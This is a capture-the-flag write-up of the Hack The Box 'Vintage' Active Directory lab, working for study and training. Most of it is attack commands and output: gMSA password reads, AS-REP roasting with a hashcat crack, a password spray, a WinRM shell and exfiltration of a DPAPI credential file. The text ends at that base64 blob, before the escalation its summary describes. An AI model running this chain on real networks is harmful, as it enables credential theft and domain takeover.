Hack The Box Vintage Writeup (Hard Windows)
Hard Windows AD box. A pre-Windows 2000 computer account yields a gMSA password, an AS-REP roast cracks svc_sql, and DPAPI plus RBCD reach Domain Admin.
Hack The Box Vintage Writeup (Hard Windows)
Summary
Vintage is a hard Windows domain controller where every step is an Active Directory misconfiguration rather than a service exploit. Starting from the given credentials for P.Rosa, NTLM is disabled, so the whole engagement runs over Kerberos tickets: a TGT feeds a BloodHound collection that exposes FS01$ as a pre-Windows 2000 compatible computer account, whose default password lets the tester reset it and read the msDS-ManagedPassword of the gMSA01$ group managed service account. gMSA01$ can add itself to ServiceManagers, which holds GenericAll over svc_ark, svc_ldap and svc_sql, so the tester clears ACCOUNTDISABLE on svc_sql, sets DONT_REQ_PREAUTH, AS-REP roasts it and cracks Zer0the0ne with hashcat. A Kerbrute password spray reuses that password for C.Neri, giving a WinRM shell, and two DPAPI blobs under C.Neri’s profile decrypt to the credentials of C.Neri_adm. C.Neri_adm belongs to DelegatedAdmins, which sits in msDS-AllowedToActOnBehalfOfOtherIdentity on DC01, so adding svc_sql to that group and giving it an SPN allows an S4U2self/S4U2proxy chain that impersonates the Domain Admin L.BIANCHI_ADM and hands over root.txt through wmiexec.
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Nmap 7.93 scan initiated Thu Mar 13 20:31:15 2025 as: nmap -A -p- -oN scans/nmap.all -vv -Pn 10.10.11.45
Nmap scan report for vintage.htb (10.10.11.45)
Host is up, received user-set (0.065s latency).
Scanned at 2025-03-13 20:31:16 GMT for 244s
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-03-13 20:33:50Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc syn-ack Microsoft Windows RPC
54912/tcp open msrpc syn-ack Microsoft Windows RPC
62406/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 0s
| smb2-time:
| date: 2025-03-13T20:34:42
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 53352/tcp): CLEAN (Timeout)
| Check 2 (port 53397/tcp): CLEAN (Timeout)
| Check 3 (port 40843/udp): CLEAN (Timeout)
| Check 4 (port 61163/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 13 20:35:20 2025 -- 1 IP address (1 host up) scanned in 244.38 seconds
LDAP
Tried performing a bloodhound scan using netexec w/ credentials for rosa:
1
2
3
$ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123' --dns-server 10.10.11.45 -d vintage.htb --bloodhound -c All
LDAP 10.10.11.45 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.10.11.45 389 DC01 [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
But got STATUS_NOT_SUPPORTED. With that in mind, the tester got a TGT for Rosa:
1
2
3
4
$ getTGT.py vintage.htb/P.Rosa:Rosaisbest123
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
The tester did set the correct environment variable for the kerberos ticket:
1
$ export KRB5CCNAME=./P.Rosa.ccache
The tester added the DC to their /etc/resolv.conf file:
1
2
$ cat /etc/resolv.conf
nameserver 10.10.11.45
Then, the tester ran the bloodhound collector:
1
2
3
4
5
6
7
8
$ nxc ldap dc01.vintage.htb -d vintage.htb -k --use-kcache --bloodhound -c All
LDAP dc01.vintage.htb 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\P.Rosa from ccache
LDAP dc01.vintage.htb 389 DC01 Resolved collection methods: acl, objectprops, group, rdp, dcom, session, localadmin, container, psremote, trusts
LDAP dc01.vintage.htb 389 DC01 Using kerberos auth without ccache, getting TGT
LDAP dc01.vintage.htb 389 DC01 Using kerberos auth from ccache
LDAP dc01.vintage.htb 389 DC01 Done in 00M 14S
LDAP dc01.vintage.htb 389 DC01 Compressing output into /home/user/.nxc/logs/DC01_dc01.vintage.htb_2025-03-13_203803_bloodhound.zip
There’s an unusual user as domain admin:
SMB
The tester also used smb to enumerate system users, groups and computers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute 5000 | tee scans/rid-brute.log
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
SMB dc01.vintage.htb 445 dc01 498: VINTAGE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 500: VINTAGE\Administrator (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 501: VINTAGE\Guest (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 502: VINTAGE\krbtgt (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 512: VINTAGE\Domain Admins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 513: VINTAGE\Domain Users (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 514: VINTAGE\Domain Guests (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 515: VINTAGE\Domain Computers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 516: VINTAGE\Domain Controllers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 517: VINTAGE\Cert Publishers (SidTypeAlias)
SMB dc01.vintage.htb 445 dc01 518: VINTAGE\Schema Admins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 519: VINTAGE\Enterprise Admins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 520: VINTAGE\Group Policy Creator Owners (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 521: VINTAGE\Read-only Domain Controllers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 522: VINTAGE\Cloneable Domain Controllers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 525: VINTAGE\Protected Users (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 526: VINTAGE\Key Admins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 527: VINTAGE\Enterprise Key Admins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 553: VINTAGE\RAS and IAS Servers (SidTypeAlias)
SMB dc01.vintage.htb 445 dc01 571: VINTAGE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB dc01.vintage.htb 445 dc01 572: VINTAGE\Denied RODC Password Replication Group (SidTypeAlias)
SMB dc01.vintage.htb 445 dc01 1002: VINTAGE\DC01$ (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1103: VINTAGE\DnsAdmins (SidTypeAlias)
SMB dc01.vintage.htb 445 dc01 1104: VINTAGE\DnsUpdateProxy (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1107: VINTAGE\gMSA01$ (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1108: VINTAGE\FS01$ (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1111: VINTAGE\M.Rossi (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1112: VINTAGE\R.Verdi (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1113: VINTAGE\L.Bianchi (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1114: VINTAGE\G.Viola (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1115: VINTAGE\C.Neri (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1116: VINTAGE\P.Rosa (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1120: VINTAGE\IT (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1121: VINTAGE\HR (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1122: VINTAGE\Finance (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1123: VINTAGE\ServiceAccounts (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1131: VINTAGE\DelegatedAdmins (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1134: VINTAGE\svc_sql (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1135: VINTAGE\svc_ldap (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1136: VINTAGE\svc_ark (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1137: VINTAGE\ServiceManagers (SidTypeGroup)
SMB dc01.vintage.htb 445 dc01 1140: VINTAGE\C.Neri_adm (SidTypeUser)
SMB dc01.vintage.htb 445 dc01 1141: VINTAGE\L.Bianchi_adm (SidTypeUser)
Sanitize the output and save it to users.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Administrator
Guest
krbtgt
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
BloodHound Enumeration
Enumerating through bloodhound has allowed the tester to discover a clear attack path.
PRE-WINDOWS 2000
The FS01.VINTAGE.HTB computer account is a pre-windows 2000 compatible account. Reference.
The tester was able to change the password for FS01$ accound using the methods described in the reference link:
1
getTGT.py vintage.htb/FS01$:fs01
Then, the tester exported the correct variable in order to use the ticket:
1
export KRB5CCNAME=./FS01$.ccache
And changed password using impacket’s changepasswd.py:
1
changepasswd.py -k -newpass SuperSecurePass123! 'vintage.htb/FS01$@dc01.vintage.htb'
GMSA
GMSA01$@VINTAGE.HTB is a Group Managed Service Account. The group DOMAIN COMPUTERS@VINTAGE.HTB can retrieve the password for the GMSA GMSA01$@VINTAGE.HTB.
Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is mananaged by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).
The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
With that in mind, the tester obtained the GMSA password for GMSA01 using BloodyAD. Reference.
1
2
3
4
5
6
$ export ObjectId=S-1-5-21-4024337825-2033394866-2055507597-1107
$ python3 bloodyAD.py --host dc01.vintage.htb -d vintage.htb -u 'FS01$' -p 'SuperSecurePass123!' -k get object $ObjectId --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==
The tester marked the computer as owned, and continued to enumerate in bloodhound:
It seems like GMSA01 can add itself to the SERVICEMANAGERS group. And the SERVICEMANAGERS group has GenericAll over three accounts: SVC_ARK, SVC_LDAP and SVC_SQL:
The tester obtained a TGT using the NTLM hash for GMSA01:
1
2
3
4
$ getTGT.py vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
And exported the correct environment variable to work with the ticket:
1
$ export KRB5CCNAME=GMSA01\$.ccache
Then, the tester used BloodyAD tool to add the GMSA01 account to the SERVICEMANAGERS group:
1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb add groupMember 'SERVICEMANAGERS' 'GMSA01$'
[+] GMSA01$ added to SERVICEMANAGERS
Tried performing asreproasting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
The first two accounts are system accounts. The last account matches with “SVC_SQL” (as seen in the users.txt file):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat ~/hacking/htb/machines/hard/vintage/users.txt
Administrator
Guest
krbtgt
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
The tester removed the ACCOUNT_DISABLE attribute:
1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
Running again, it’s possible to see that the error message is not showing anymore:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
Then the tester added DONT_REQ_PREAUTH to the SVC_SQL account so they make the account susceptible to an asreproast attack:
1
2
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
The tester tried again to perform the asreproast attack, and this time it worked for SVC_SQL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ GetNPUsers.py -usersfile users.txt -k -dc-ip dc01.vintage.htb vintage.htb/GMSA01\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0dc1c96cc9a45f422$5514a3fde33b092d36379028a5a687123501c1b746093f132b7ececcaa6db02b54d76426c5025181bfa97aa0ad51715370ef398e42aedbead43f1d89a6e272de066331eec9ca4c5905b267ba4481d54d0243d70ccb82addf14d054485d8d1664faa61d824200dbbd6b9aa7c4233a53bf260b359329207568b221ff16d86ac8f2b52d8708d32c81b18941a412946fed482567705d996a20e4bb64ee5217126b30511f092583bc1211ec0e864892705b14fa084bb5523109b7dba6a2690e99be18ddd3ba2271a9adee1ed74dc4cab6822642dcc6bb2456010f0824a10dbc9986f42df1704a3e82b098c60e
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
The tester saved the hash to a file and used hashcat to crack it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat svc_sql.roast /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0dc1c96cc9a45f422$5514a3fde33b092d36379028a5a687123501c1b746093f132b7ececcaa6db02b54d76426c5025181bfa97aa0ad51715370ef398e42aedbead43f1d89a6e272de066331eec9ca4c5905b267ba4481d54d0243d70ccb82addf14d054485d8d1664faa61d824200dbbd6b9aa7c4233a53bf260b359329207568b221ff16d86ac8f2b52d8708d32c81b18941a412946fed482567705d996a20e4bb64ee5217126b30511f092583bc1211ec0e864892705b14fa084bb5523109b7dba6a2690e99be18ddd3ba2271a9adee1ed74dc4cab6822642dcc6bb2456010f0824a10dbc9986f42df1704a3e82b098c60e:Zer0the0ne
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_sql@VINTAGE.HTB:898fa13d75efc5f0d...98c60e
Time.Started.....: Fri Mar 14 12:39:32 2025 (1 sec)
Time.Estimated...: Fri Mar 14 12:39:33 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1815.1 kH/s (0.34ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1038336/14344384 (7.24%)
Rejected.........: 0/1038336 (0.00%)
Restore.Point....: 1037312/14344384 (7.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: abc#123 -> Zechariah
Started: Fri Mar 14 12:39:29 2025
Stopped: Fri Mar 14 12:39:34 2025
Initial Access
The tester used the password to perform a password spray in the domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ kerbrute passwordspray -d vintage.htb ~/hacking/htb/machines/hard/vintage/users.txt Zer0the0ne
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/14/25 - Ronnie Flathers @ropnop
2025/03/14 12:41:06 > Using KDC(s):
2025/03/14 12:41:06 > dc01.vintage.htb:88
2025/03/14 12:41:07 > [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
2025/03/14 12:41:07 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
2025/03/14 12:41:07 > Done! Tested 17 logins (2 successes) in 0.844 seconds
Then, the tester got a TGT for “c.neri”:
1
2
3
4
$ getTGT.py vintage.htb/C.Neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri.ccache
Exported the correct variable to use the ticket:
1
$ export KRB5CCNAME=./C.Neri.ccache
And configured the kerberos realm. This is how the configuration looks like (/etc/krb5.conf):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat /etc/krb5.conf
[libdefault]
default_realm = VINTAGE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
The tester used evil-winrm to connect to the machine as c.neri, using the kerberos TGT:
1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i dc01.vintage.htb -r VINTAGE.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents>
It’s important to note that the /etc/resolv.conf file in the tester’s machine looks like this:
1
2
3
nameserver 10.10.11.45
nameserver 10.139.1.1
nameserver 10.139.1.2
Privilege Escalation
After enumerating the local system for privilege escalation vectors, the tester did find some files related to DPAPI. Reference.
The tester, in the wirnm session, transformed the first credential into base64 in order to transfer to their machine:
1
2
3
*Evil-WinRM* PS C:\Users\C.Neri\appdata\local\microsoft\credentials> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\local\microsoft\credentials\DFBE70A7E5CC19A398EBF1B96859CE5D"))
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